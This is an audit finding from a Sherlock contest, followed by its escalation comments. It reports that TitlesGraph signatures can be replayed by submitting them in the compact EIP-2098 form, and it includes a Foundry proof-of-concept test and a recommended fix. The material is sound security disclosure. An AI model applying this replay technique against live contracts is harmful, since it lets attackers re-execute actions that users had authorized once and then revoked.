`TitlesGraph` signatures are replayable because of a compact signature vulnerability

Summary

The TitlesGraph contract is vulnerable to compact signature replayability. Because of this, any party can execute an already used signature for a second time.

Vulnerability Detail

Ethereum signatures are 65 bytes long and consist of (r, s, v). EIP-2098 introduces the idea of compact signatures, where the signatures become 64 bytes long instead and are in the form (r, v, s), where the first byte of the original s value is cut because it's always zero. TitlesGraph uses SignatureCheckerLib which supports both normal and compact signatures.

The TitlesGraph contract hashes a signature and records it in the _isUsed mapping to ensure the same signature cannot be used twice. However, anyone can pass the compact version of the signature and bypass this check, because the resulting hash will be different from what is saved in the mapping.

    modifier checkSignature(bytes32 edgeId, bytes calldata data, bytes calldata signature) {
        bytes32 digest = _hashTypedData(keccak256(abi.encode(ACK_TYPEHASH, edgeId, data)));
        if (
            !edges[edgeId].to.creator.target.isValidSignatureNowCalldata(digest, signature)
                || _isUsed[keccak256(signature)]
        ) {
            revert Unauthorized();
        }
        _;
        _isUsed[keccak256(signature)] = true;
    }

Here is a coded PoC in Foundry that demonstrates how an user (Alice) acknowledges an edge via signature. After that Alice changes her mind and unacknowledges the edge. Since the contract accepts compact signatures, anyone can use it to acknowledge the edge again.

NOTE: For simplicity, the following function has to be added to TitlesGraph before running the PoC.

    function hashTypedData(bytes32 structHash) public view virtual returns (bytes32 digest) {
        return _hashTypedData(structHash);
    }

The actual test to be run in TitlesCore.t.sol

    function test_short_signature_vulnerability() public {
        bytes32 ACK_TYPEHASH = keccak256("Ack(bytes32 edgeId,bytes data)");
        (address alice, uint256 alicePk) = makeAddrAndKey("alice");

        Node memory fromNode = Node({
            nodeType: NodeType.COLLECTION_ERC1155,
            entity: Target({target: address(this), chainId: block.chainid}),
            creator: Target({target: address(2), chainId: block.chainid}),
            data: ""
        });

        Node memory toNode = Node({
            nodeType: NodeType.TOKEN_ERC1155,
            entity: Target({target: address(3), chainId: block.chainid}),
            creator: Target({target: alice, chainId: block.chainid}),
            data: bytes(
                hex"000000000000000000000000000000000000000000000000000000000000002a"
            )
        });

        Edge memory edge = titlesGraph.createEdge(fromNode, toNode, "");

        bytes32 edgeId = keccak256(abi.encode(fromNode, toNode));
        bytes memory data = hex"";
        bytes32 digest = titlesGraph.hashTypedData(
            keccak256(abi.encode(ACK_TYPEHASH, edgeId, data))
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePk, digest);
        bytes memory signature = abi.encodePacked(r, s, v);

        edge = titlesGraph.acknowledgeEdge(edgeId, data, signature);
        assertTrue(edge.acknowledged);

        vm.prank(alice);
        edge = titlesGraph.unacknowledgeEdge(edgeId, data);
        assertFalse(edge.acknowledged);

        // Ideally, the first byte of s has to be cut, but it works for this case, because the v value is 27
        signature = abi.encodePacked(r, s);

        // Anyone can use the compact version of the signature to use it again
        edge = titlesGraph.acknowledgeEdge(edgeId, data, signature);
        assertTrue(edge.acknowledged);
    }

Impact

For each valid signature, there exists a valid compact signature that anyone can use to replay the original signature.

Code Snippet

                if eq(mload(signature), 64) {
                    let vs := mload(add(signature, 0x40))
                    mstore(0x20, add(shr(255, vs), 27)) // `v`.
                    mstore(0x60, shr(1, shl(1, vs))) // `s`.
                    let t :=
                        staticcall(
                            gas(), // Amount of gas left for the transaction.
                            1, // Address of `ecrecover`.
                            0x00, // Start of input.
                            0x80, // Size of input.
                            0x01, // Start of output.
                            0x20 // Size of output.
                        )
                    // `returndatasize()` will be `0x20` upon success, and `0x00` otherwise.
                    if iszero(or(iszero(returndatasize()), xor(signer, mload(t)))) {
                        isValid := 1
                        mstore(0x60, 0) // Restore the zero slot.
                        mstore(0x40, m) // Restore the free memory pointer.
                        break
                    }
                }

https://github.com/sherlock-audit/2024-04-titles/blob/d7f60952df22da00b772db5d3a8272a988546089/wallflower-contract-v2/src/graph/TitlesGraph.sol#L40C1-L50C6 https://github.com/Vectorized/solady/blob/91d5f64b39a4d20a3ce1b5e985103b8ea4dc1cfc/src/utils/SignatureCheckerLib.sol#L44-L64

Tool used

Foundry

Recommendation

A possible solution may be the following change in the hashing step:

Check if the signature is 64 bytes long and if so, just hash it.
If the signature is 65 bytes long, convert to a compact one and hash it instead of the original one.

Duplicate of #279

ZdravkoHr commented 1 month ago

Escalate

This should be a separate issue, since it talks about compact signatures, have nothing to do with #273

sherlock-admin3 commented 1 month ago

Escalate

This should be a separate issue, since it talks about compact signatures, have nothing to do with #273

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.